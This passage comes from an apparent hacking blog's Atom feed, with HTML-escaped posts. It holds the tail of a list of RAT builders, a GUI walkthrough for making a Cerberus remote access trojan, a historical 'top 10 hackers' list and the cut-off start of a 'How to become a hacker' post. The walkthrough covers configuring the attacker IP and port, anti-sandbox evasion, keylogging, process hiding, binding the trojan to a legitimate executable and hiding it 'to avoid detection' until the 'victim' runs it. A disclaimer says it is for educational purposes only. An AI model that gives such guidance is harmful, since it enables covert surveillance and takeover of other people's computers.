medium;"&gt;15.5p00f3r.N$ RAT&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;16.NetBus&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;17.SpyNet&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;18.P. Storrie RAT&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;19.Turkojan Gold&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;20.Bifrost&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;21.Lost Door&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;22.Beast&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;23.Shark&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;24.Sub7&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;25.&lt;span class="IL_AD" id="IL_AD11"&gt;Pain&lt;/span&gt; RAT&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;26.xHacker Pro RAT&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;27.Seed RAT&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;28.Optix Pro RAT&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;29.Dark Moon &lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;30.NetDevil &lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;31.Deeper RAT &lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;32.MiniMo RAT&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;If you think the list is very big then I must tell you it's not complete nor it covered 25% of RAT building tools.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;u&gt;&lt;b&gt;Demonstration: How to create a RAT:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;Since   there are several tools available and most of them have same kinda   interface we can select any RAT building tool for demonstration. So here   we select Cerberus Client to demonstrate working of RAT. Please note   that using RAT for hacking is crime please take this demonstration for   educational purpose only.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;Type “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Download Cerberus RAT&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;”   in Google search and download Cerberus RAT. Execute Cerberus file and   launch program. Accept EULA  and following interface will be launched  in  front of you.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a _fcksavedurl="http://3.bp.blogspot.com/_ubx9hYapZs8/TSH7LqWrAhI/AAAAAAAAAOc/q16bMlxZWNM/s1600/RAT2.PNG" href="http://3.bp.blogspot.com/_ubx9hYapZs8/TSH7LqWrAhI/AAAAAAAAAOc/q16bMlxZWNM/s1600/RAT2.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;img _fcksavedurl="http://3.bp.blogspot.com/_ubx9hYapZs8/TSH7LqWrAhI/AAAAAAAAAOc/q16bMlxZWNM/s640/RAT2.PNG" alt="" border="0" height="288" src="http://3.bp.blogspot.com/_ubx9hYapZs8/TSH7LqWrAhI/AAAAAAAAAOc/q16bMlxZWNM/s640/RAT2.PNG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman',serif;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;To create server press new button.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman',serif;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a _fcksavedurl="http://4.bp.blogspot.com/_ubx9hYapZs8/TSH7kAQDJpI/AAAAAAAAAOg/dwKEd7ZgPUA/s1600/RAT3.PNG" href="http://4.bp.blogspot.com/_ubx9hYapZs8/TSH7kAQDJpI/AAAAAAAAAOg/dwKEd7ZgPUA/s1600/RAT3.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;img _fcksavedurl="http://4.bp.blogspot.com/_ubx9hYapZs8/TSH7kAQDJpI/AAAAAAAAAOg/dwKEd7ZgPUA/s640/RAT3.PNG" alt="" border="0" height="416" src="http://4.bp.blogspot.com/_ubx9hYapZs8/TSH7kAQDJpI/AAAAAAAAAOg/dwKEd7ZgPUA/s640/RAT3.PNG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman',serif;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;As   you can see there are several options are available in settings but  for  our demonstration we will use most common settings. In “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Basic Option&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” type your &lt;span class="IL_AD" id="IL_AD8"&gt;IP address&lt;/span&gt; and then press “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;+&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;”. In identification name of the server from which your client will identify to which server it's &lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="3" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;,   this name is given for your client to identify connection. No need to   specify what to put in connection password. Specify the port on which   you'll like to listen. Please keep note of this port since you'll have   to configure client settings to receive information on this port.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;a _fcksavedurl="http://1.bp.blogspot.com/_ubx9hYapZs8/TSH77O8pEII/AAAAAAAAAOk/O7xQKSlrYl8/s1600/RAT4.PNG" href="http://1.bp.blogspot.com/_ubx9hYapZs8/TSH77O8pEII/AAAAAAAAAOk/O7xQKSlrYl8/s1600/RAT4.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img _fcksavedurl="http://1.bp.blogspot.com/_ubx9hYapZs8/TSH77O8pEII/AAAAAAAAAOk/O7xQKSlrYl8/s640/RAT4.PNG" alt="" border="0" height="416" src="http://1.bp.blogspot.com/_ubx9hYapZs8/TSH77O8pEII/AAAAAAAAAOk/O7xQKSlrYl8/s640/RAT4.PNG" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;The next option is “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Server Installation&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;”. From “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Directory Installation&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” you can select where and in which name &lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="2" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt; your RAT server will be installed. In “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;File Name&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” option you have to specify name and extension of your server. Boot Methods gives you option to start your server as “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;System Service&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” or “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;User Application&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” take your pick or leave them untouched. “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Anti-Debugging&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” function allows your RAT to bypass Virtualisation and Sandboxing. &lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;From “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Misc Options&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” you can activate key logging &lt;span class="IL_AD" id="IL_AD4"&gt;feature&lt;/span&gt; as well as you can select how your RAT can hide itself in another process.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;“&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Display Message&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” option gives you power to show custom message on victim's computer.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;“&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Black List Item&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;”   option allows to set logic for execution of your RAT server with   respect to specific process and service. Mostly only advanced users use   this feature.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;“&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Overview&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” allows you look of features of your RAT. Now select an &lt;span class="IL_AD" id="IL_AD7"&gt;icon&lt;/span&gt; and press create server to create server.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;Now the add file function allows you to bind your RAT with any legitimate file most probable is an executable &lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="1" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt; file. To avoid detection don't use custom message box and UN-check “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Run  in Visible Mode&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” option while creating server.&amp;nbsp;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;a _fcksavedurl="http://3.bp.blogspot.com/_ubx9hYapZs8/TSH8i7x60EI/AAAAAAAAAOo/QCrMedafybI/s1600/RAT5.PNG" href="http://3.bp.blogspot.com/_ubx9hYapZs8/TSH8i7x60EI/AAAAAAAAAOo/QCrMedafybI/s1600/RAT5.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img _fcksavedurl="http://3.bp.blogspot.com/_ubx9hYapZs8/TSH8i7x60EI/AAAAAAAAAOo/QCrMedafybI/s1600/RAT5.PNG" alt="" border="0" src="http://3.bp.blogspot.com/_ubx9hYapZs8/TSH8i7x60EI/AAAAAAAAAOo/QCrMedafybI/s1600/RAT5.PNG" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;u&gt;&lt;b&gt;Configuring To Listen On Client:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt; To configure Cerberus to listen on specific port select options and put “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Connection Password&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” and “&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;b&gt;Connection Ports&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;” that were specified in Server. Wait for victim to execute server and then just right &lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="0" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt; on listening server and play with options.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;a _fcksavedurl="http://1.bp.blogspot.com/_ubx9hYapZs8/TSH82tLPrZI/AAAAAAAAAOs/3Z9xapx-hTM/s1600/RAT6.PNG" href="http://1.bp.blogspot.com/_ubx9hYapZs8/TSH82tLPrZI/AAAAAAAAAOs/3Z9xapx-hTM/s1600/RAT6.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img _fcksavedurl="http://1.bp.blogspot.com/_ubx9hYapZs8/TSH82tLPrZI/AAAAAAAAAOs/3Z9xapx-hTM/s640/RAT6.PNG" alt="" border="0" height="272" src="http://1.bp.blogspot.com/_ubx9hYapZs8/TSH82tLPrZI/AAAAAAAAAOs/3Z9xapx-hTM/s640/RAT6.PNG" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;Following is video demonstration to above procedures and methods described to create RAT using Cerberus Client.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-2821452143946954689?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/2821452143946954689/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/rat.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/2821452143946954689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/2821452143946954689'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/rat.html' title='RAT'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_ubx9hYapZs8/TSH7LqWrAhI/AAAAAAAAAOc/q16bMlxZWNM/s72-c/RAT2.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-7849856021495760186</id><published>2011-04-08T00:07:00.004-07:00</published><updated>2011-04-08T00:07:59.330-07:00</updated><title type='text'>TOP 10 BEST EVER HACKERS</title><content type='html'>The good computer hackers are similar to war veterans in that they   spend hours talking about how great the scene used to be “back in the   day”. I first heard similar stories way back in 1995 but today it is   actually somewhat true as the final HOPE conference has now been held,   Black Hat is now a corporate event, the good e-zines are long gone and   hacking is now associated with Russian crime gangs. &lt;br /&gt;Now is a good time to go back and list the top 10 hackers who shaped   both the computer and security industries and who have left their mark.&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt; &lt;b&gt;Shawn Fanning&lt;/b&gt; – What was once an IRC  handle became  synonymous with the free exchange of music files. Along  with Jordan  Ritter and Shaun Parker changed the music industry forever  and set the  course for the next decade of online media. Managed to turn a  cool rock  metal band into a bunch of whining babies and had his high  moment when  he appeared on the MTV music awards wearing a Metallic  t-shirt. ADM  were also the best and most consistent group ever (&lt;a _fcksavedurl="http://en.wikipedia.org/wiki/Shawn_Fanning" href="http://en.wikipedia.org/wiki/Shawn_Fanning"&gt;wikipedia&lt;/a&gt;).&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt; &lt;b&gt;Robert Morris&lt;/b&gt; – Discovered the buffer  overflow and  exploited both sendmail and fingerd with the first ever  internet worm –  now known as the Morris Worm. Went on to become a  co-founder of ViaWeb  with Paul Graham. Downside is that &lt;a _fcksavedurl="http://www.imdb.com/title/tt0113243/" href="http://www.imdb.com/title/tt0113243/"&gt;his story&lt;/a&gt; was responsible for Dade Murphy and the Gibson OS, but it also bought us Angelina Jolie. (&lt;a _fcksavedurl="http://en.wikipedia.org/wiki/Robert_Tappan_Morris" href="http://en.wikipedia.org/wiki/Robert_Tappan_Morris"&gt;wikipedia&lt;/a&gt;)&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt; &lt;b&gt;VallaH &lt;/b&gt;- jolt.c and the  ping-of-death kept kids  around the world amused for years and big  corporations on their knees.  The first smart denial-of-service attack.&lt;br /&gt;&lt;b&gt;4. Gordon Lyon / Fyodor&lt;/b&gt; – Created &lt;a _fcksavedurl="http://insecure.org/" href="http://insecure.org/"&gt;Nmap&lt;/a&gt;, the&lt;br /&gt;first tool in every hackers arsenal that has since gone on to make cameo   appearances in both The Matrix and the Bourne Ultimatum. Nmap  pioneered  OS and service fingerprinting. Also behind insecure.org. (&lt;a _fcksavedurl="http://en.wikipedia.org/wiki/Fyodor" href="http://en.wikipedia.org/wiki/Fyodor"&gt;wikipedia&lt;/a&gt;)&lt;br /&gt;&lt;b&gt;5. Kevin Mitnick&lt;/b&gt; – Most famous real-life hacker who  could  have used a few tips on how cellular triangulation works.  Imprisoned by  the government without charge for years and restricted  with a gag  order thereafter. FREE KEVIN became a hacker freedom call for  years. (&lt;a _fcksavedurl="http://en.wikipedia.org/wiki/Kevin_Mitnick" href="http://en.wikipedia.org/wiki/Kevin_Mitnick"&gt;wikipedia&lt;/a&gt;)&lt;br /&gt;&lt;b&gt;6. The Mentor&lt;/b&gt; – Wrote the &lt;a _fcksavedurl="http://en.wikipedia.org/wiki/Hacker_Manifesto" href="http://en.wikipedia.org/wiki/Hacker_Manifesto"&gt;Hacker Manifesto&lt;/a&gt;   which was published in Phrack magazine. Inspired kids worldwide to  hack  to learn (myself included). Phrack magazine deserves a mention as  it  was the best and most consistant e-zine in the past two decades. Ran  for  65 issues until 2005.&lt;br /&gt;&lt;b&gt;7. Karl Koch / August Diehl&lt;/b&gt; – German hacker in the  80s who  drove himself insane with cocaine abuse, obsession over the  number 23  and paranoia over the Illuminatus. (&lt;a _fcksavedurl="http://en.wikipedia.org/wiki/Hagbard_%28Karl_Koch%29" href="http://en.wikipedia.org/wiki/Hagbard_%28Karl_Koch%29"&gt;wikipedia&lt;/a&gt;)&lt;br /&gt;&lt;b&gt;8. Electron / Richard Jones&lt;/b&gt; – Aussie kid who wrecked  havoc  all over the world with nothing more than a modem. Arrested by  the  Australian Federal Police in 1990. Went on to become a security   researcher and consultant.&lt;br /&gt;&lt;b&gt;9. Kevin Poulson / Dark Dante&lt;/b&gt; – Phreaked his way to a  new  Porsche with a radio contest on an LA station. Arrested and jailed  and  went on to become a journalist and editor at Wired. (&lt;a _fcksavedurl="http://en.wikipedia.org/wiki/Kevin_Poulsen" href="http://en.wikipedia.org/wiki/Kevin_Poulsen"&gt;wikipedia&lt;/a&gt;)&lt;br /&gt;&lt;b&gt;10. Adrian Lamo&lt;/b&gt; – showed the world (literally) that you can take down large websites with just URLs (&lt;a _fcksavedurl="http://www.securityfocus.com/news/296" href="http://www.securityfocus.com/news/296"&gt;such as Worldcom&lt;/a&gt;). Now also a journalist. (&lt;a _fcksavedurl="http://en.wikipedia.org/wiki/Adrian_Lamo" href="http://en.wikipedia.org/wiki/Adrian_Lamo"&gt;wikipedia&lt;/a&gt;)&lt;br /&gt;What is amazing is just how many of the same guys who used to sit on   IRC day and night discovering security holes and breaking into servers   for fun ended up shaping and influencing the IT industry as a whole.   There are hundreds of thousands of hackers who you have never heard   about, mostly because they never got caught, who went on to start   companies and attain high positions within corporations.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-7849856021495760186?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/7849856021495760186/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/top-10-best-ever-hackers.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/7849856021495760186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/7849856021495760186'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/top-10-best-ever-hackers.html' title='TOP 10 BEST EVER HACKERS'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-5757160019583944930</id><published>2011-04-08T00:07:00.002-07:00</published><updated>2011-04-08T00:07:34.202-07:00</updated><title type='text'>How to become hacker!</title><content type='html'>&lt;div class="article" title="How To Become A Hacker"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title"&gt;How To Become A Hacker&lt;/h2&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="toc"&gt;&lt;br /&gt;&lt;dl&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a 